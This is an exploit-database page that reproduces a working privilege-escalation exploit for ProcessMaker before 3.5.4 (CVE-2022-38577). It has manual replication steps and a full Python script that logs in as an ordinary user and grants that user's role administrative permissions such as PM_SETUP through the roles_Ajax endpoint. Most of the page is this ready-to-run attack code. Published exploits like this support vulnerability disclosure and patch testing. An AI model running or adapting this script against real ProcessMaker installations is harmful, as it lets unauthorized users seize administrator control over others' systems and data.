Lucene search
K

ProcessMaker Privilege Escalation Exploit

🗓️ 21 Sep 2022 00:00:00Reported by Sornram KampeeraType 
zdt
 zdt
🔗 0day.today👁 345 Views

ProcessMaker Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Preservation of Permissions in Processmaker
21 Sep 202204:29
githubexploit
Circl
CVE-2022-38577
22 Sep 202211:05
circl
CNNVD
ProcessMaker 权限许可和访问控制问题漏洞
19 Sep 202200:00
cnnvd
CVE
CVE-2022-38577
19 Sep 202215:45
cve
Cvelist
CVE-2022-38577
19 Sep 202215:45
cvelist
NVD
CVE-2022-38577
19 Sep 202216:15
nvd
OSV
BIT-PROCESSMAKER-2022-38577
6 Nov 202308:59
osv
OSV
CVE-2022-38577
19 Sep 202216:15
osv
Packet Storm
ProcessMaker Privilege Escalation
20 Sep 202200:00
packetstorm
Prion
Design/Logic Flaw
19 Sep 202216:15
prion
Rows per page
# Exploit Title: ProcessMaker - User Profile Privilege Escalation
# Description: ProcessMaker before v3.5.4 was discovered to contain insecure permissions in the user profile page. This vulnerability allows attackers to escalate normal users to Administrators. 
# Exploit Author: Sornram Kampeera (Sornram9254)
# Vendor Homepage: https://www.processmaker.com
# Software Link: https://sourceforge.net/projects/processmaker/files/ProcessMaker/
# Version: ProcessMaker before v3.5.4 (Already Tested on 2.5.0, 2.5.2, 3.0 GA and 3.2.1)
# Tested on: Windows 11, Debian 11 (WSL2)
# CVE : CVE-2022-38577

"""
Privilege Escalation replication.
for 2.5.0 - 3.0 GA:
    1. Log in as normal user.
    2. Change "USR_ROLE" on post request form when updating profile information to "PROCESSMAKER_ADMIN".
    3. Refresh page to get new role.

for 3.2.1 and before:
    1. Log in as normal user.
    2. Get Role ID by request "/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc={epoch_time}"
    3. Get Permission ID by request "/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID={Role_ID}&type=show"
    4. Update role to escalation privileges using POST Body request:
    POST /sysworkflow/en/neoclassic/roles/roles_Ajax
    request=assignPermissionToRoleMultiple&ROL_UID={Role_ID}&PER_UID={PERMISSION_ID}
"""

#!/usr/bin/python
# TODO: Optimize code [requests module], and Exception Handling.
# Replace the variables USERNAME, PASSWORD, and APP_URL.
import requests, json, re, argparse, sys
USER_AGENT = 'Mozilla/5.0'
APP_URL = "http://localhost:9994"
USERNAME = '__USER__'
PASSWORD = '__PASS__'

parser = argparse.ArgumentParser()
parser.add_argument("action", type=str, help="Add or Delete role permission.", nargs="?", default=".")

parser.add_argument("-a", "--add",      action="store_true",    help="Add role permission")
parser.add_argument("-d", "--delete",   action="store_true",    help="Delete role permission")
parser.add_argument("-l", "--list",     action="store_true",    help="List all roles")
args = parser.parse_args()
if args.add:
    action = "assign"
elif args.delete:
    action = "delete"
elif args.list:
    action = "list"
    print("All Permission UID")
    print("View more: https://wiki.processmaker.com/3.3/Roles")
    PERM_LIST = """
PER_UID: 00000000000000000000000000000001, PER_CODE: PM_LOGIN
PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP
PER_UID: 00000000000000000000000000000003, PER_CODE: PM_USERS
PER_UID: 00000000000000000000000000000004, PER_CODE: PM_FACTORY
PER_UID: 00000000000000000000000000000005, PER_CODE: PM_CASES
PER_UID: 00000000000000000000000000000006, PER_CODE: PM_ALLCASES
PER_UID: 00000000000000000000000000000007, PER_CODE: PM_REASSIGNCASE
PER_UID: 00000000000000000000000000000008, PER_CODE: PM_REPORTS
PER_UID: 00000000000000000000000000000009, PER_CODE: PM_SUPERVISOR
PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE
PER_UID: 00000000000000000000000000000011, PER_CODE: PM_DASHBOARD
PER_UID: 00000000000000000000000000000012, PER_CODE: PM_WEBDAV
PER_UID: 00000000000000000000000000000013, PER_CODE: PM_DELETECASE
PER_UID: 00000000000000000000000000000014, PER_CODE: PM_EDITPERSONALINFO
PER_UID: 00000000000000000000000000000015, PER_CODE: PM_FOLDERS_VIEW
PER_UID: 00000000000000000000000000000016, PER_CODE: PM_FOLDERS_ADD_FOLDER
PER_UID: 00000000000000000000000000000017, PER_CODE: PM_FOLDERS_ADD_FILE
PER_UID: 00000000000000000000000000000018, PER_CODE: PM_CANCELCASE
PER_UID: 00000000000000000000000000000019, PER_CODE: PM_FOLDER_DELETE
PER_UID: 00000000000000000000000000000020, PER_CODE: PM_SETUP_LOGO
PER_UID: 00000000000000000000000000000021, PER_CODE: PM_SETUP_EMAIL
PER_UID: 00000000000000000000000000000022, PER_CODE: PM_SETUP_CALENDAR
PER_UID: 00000000000000000000000000000023, PER_CODE: PM_SETUP_PROCESS_CATEGORIES
PER_UID: 00000000000000000000000000000024, PER_CODE: PM_SETUP_CLEAR_CACHE
PER_UID: 00000000000000000000000000000025, PER_CODE: PM_SETUP_HEART_BEAT
PER_UID: 00000000000000000000000000000026, PER_CODE: PM_SETUP_ENVIRONMENT
PER_UID: 00000000000000000000000000000027, PER_CODE: PM_SETUP_PM_TABLES
PER_UID: 00000000000000000000000000000028, PER_CODE: PM_SETUP_LOGIN
PER_UID: 00000000000000000000000000000029, PER_CODE: PM_SETUP_DASHBOARDS
PER_UID: 00000000000000000000000000000030, PER_CODE: PM_SETUP_LANGUAGE
PER_UID: 00000000000000000000000000000031, PER_CODE: PM_SETUP_SKIN
PER_UID: 00000000000000000000000000000032, PER_CODE: PM_SETUP_CASES_LIST_CACHE_BUILDER
PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS
PER_UID: 00000000000000000000000000000034, PER_CODE: PM_SETUP_USERS_AUTHENTICATION_SOURCES
PER_UID: 00000000000000000000000000000035, PER_CODE: PM_SETUP_LOGS
PER_UID: 00000000000000000000000000000036, PER_CODE: PM_DELETE_PROCESS_CASES
PER_UID: 00000000000000000000000000000037, PER_CODE: PM_EDITPERSONALINFO_CALENDAR
PER_UID: 00000000000000000000000000000038, PER_CODE: PM_UNCANCELCASE
PER_UID: 00000000000000000000000000000039, PER_CODE: PM_REST_API_APPLICATIONS
PER_UID: 00000000000000000000000000000040, PER_CODE: PM_EDIT_USER_PROFILE_FIRST_NAME
PER_UID: 00000000000000000000000000000041, PER_CODE: PM_EDIT_USER_PROFILE_LAST_NAME
PER_UID: 00000000000000000000000000000042, PER_CODE: PM_EDIT_USER_PROFILE_USERNAME
PER_UID: 00000000000000000000000000000043, PER_CODE: PM_EDIT_USER_PROFILE_EMAIL
PER_UID: 00000000000000000000000000000044, PER_CODE: PM_EDIT_USER_PROFILE_ADDRESS
PER_UID: 00000000000000000000000000000045, PER_CODE: PM_EDIT_USER_PROFILE_ZIP_CODE
PER_UID: 00000000000000000000000000000046, PER_CODE: PM_EDIT_USER_PROFILE_COUNTRY
PER_UID: 00000000000000000000000000000047, PER_CODE: PM_EDIT_USER_PROFILE_STATE_OR_REGION
PER_UID: 00000000000000000000000000000048, PER_CODE: PM_EDIT_USER_PROFILE_LOCATION
PER_UID: 00000000000000000000000000000049, PER_CODE: PM_EDIT_USER_PROFILE_PHONE
PER_UID: 00000000000000000000000000000050, PER_CODE: PM_EDIT_USER_PROFILE_POSITION
PER_UID: 00000000000000000000000000000051, PER_CODE: PM_EDIT_USER_PROFILE_REPLACED_BY
PER_UID: 00000000000000000000000000000052, PER_CODE: PM_EDIT_USER_PROFILE_EXPIRATION_DATE
PER_UID: 00000000000000000000000000000053, PER_CODE: PM_EDIT_USER_PROFILE_CALENDAR
PER_UID: 00000000000000000000000000000054, PER_CODE: PM_EDIT_USER_PROFILE_STATUS
PER_UID: 00000000000000000000000000000055, PER_CODE: PM_EDIT_USER_PROFILE_ROLE
PER_UID: 00000000000000000000000000000056, PER_CODE: PM_EDIT_USER_PROFILE_TIME_ZONE
PER_UID: 00000000000000000000000000000057, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_LANGUAGE
PER_UID: 00000000000000000000000000000058, PER_CODE: PM_EDIT_USER_PROFILE_COSTS
PER_UID: 00000000000000000000000000000059, PER_CODE: PM_EDIT_USER_PROFILE_PASSWORD
PER_UID: 00000000000000000000000000000060, PER_CODE: PM_EDIT_USER_PROFILE_USER_MUST_CHANGE_PASSWORD_AT_NEXT_LOGON
PER_UID: 00000000000000000000000000000061, PER_CODE: PM_EDIT_USER_PROFILE_PHOTO
PER_UID: 00000000000000000000000000000062, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_MAIN_MENU_OPTIONS
PER_UID: 00000000000000000000000000000063, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_CASES_MENU_OPTIONS
PER_UID: 00000000000000000000000000000064, PER_CODE: PM_REASSIGNCASE_SUPERVISOR"""
    print(PERM_LIST)
    sys.exit()
else:
    print("Example Permission UID")
    SAMPLE_PERM_LIST = """>>> PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP
>>> PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE
>>> PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS

python Processmaker-PoC.py --help
python Processmaker-PoC.py --list
python Processmaker-PoC.py --add 00000000000000000000000000000002
python Processmaker-PoC.py --delete 00000000000000000000000000000002"""
    print(SAMPLE_PERM_LIST)
    sys.exit()

PERMISSION_UID = args.action

loginData = "__notValidateThisFields__=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"
loginData += "DynaformRequiredFields=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"
loginData += "__DynaformName__=sysLogin&"
loginData += "form[BROWSER_TIME_ZONE_OFFSET]=25200&"
loginData += "form[USR_PASSWORD]=" + PASSWORD + "&"
loginData += "form[USR_USERNAME]=" + USERNAME + "&"
loginData += "form[USR_PASSWORD_MASK]=&"
loginData += "form[USER_ENV]=workflow&"
loginData += "form[USER_LANG]=en"

def getResponse(rMethod, rHeaders, rUrl,rData=None):
    SSL_VERIFY = False
    if rMethod == 'GET':
        response = requests.get(rUrl, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)
    elif rMethod == "POST":
        response = requests.post(rUrl, data=rData, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)
    else:
        print("Please choose correct answer")
    return response

getCookie = getResponse('POST',
                        {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': USER_AGENT, 'Connection': 'close'},
                        APP_URL + '/sys/en/neoclassic/login/sysLogin',
                        loginData).cookies['PHPSESSID']
if getCookie is not None:
    getUserID = getResponse( 'GET',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/users/usersInit')
    USER_ID = re.findall(r"USR_UID\s=\s\"(\w{32})\"", getUserID.text, re.MULTILINE)[0]

    getRolesName = getResponse('POST',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie,'Content-Type' : 'application/x-www-form-urlencoded', 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/users/usersAjax',
                                'action=userData&USR_UID=' + USER_ID)
                                
    getRolesList = getResponse( 'GET',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc=')

    getRolesPermission = getResponse('POST',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID=ROLE_UID&type=show')

    roleUID = re.findall(r"\"ROL_UID\":\"(\w{32})\",\"ROL_PARENT\":\"\",\"ROL_SYSTEM\":\"\w{32}\",\"SYS_CODE\":\"PROCESSMAKER\",\"ROL_CODE\":\"" + json.loads(getRolesName.text)['user']['USR_ROLE'] + "\"", getRolesList.text, re.MULTILINE)[0]

def actionRoleResponse():
    actionRoleStatus = getResponse('POST',
                                {'User-Agent': USER_AGENT,'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'PHPSESSID=' + getCookie,'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax',
                                'request=' + action + 'PermissionToRoleMultiple&ROL_UID=' + roleUID + '&PER_UID=' + PERMISSION_UID)
    return actionRoleStatus.status_code

if actionRoleResponse() == 200:
    print(action.capitalize() + " role successfully.")
elif actionRoleResponse() == 503:
    print("Role already exists.")
else:
    print("Error!")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation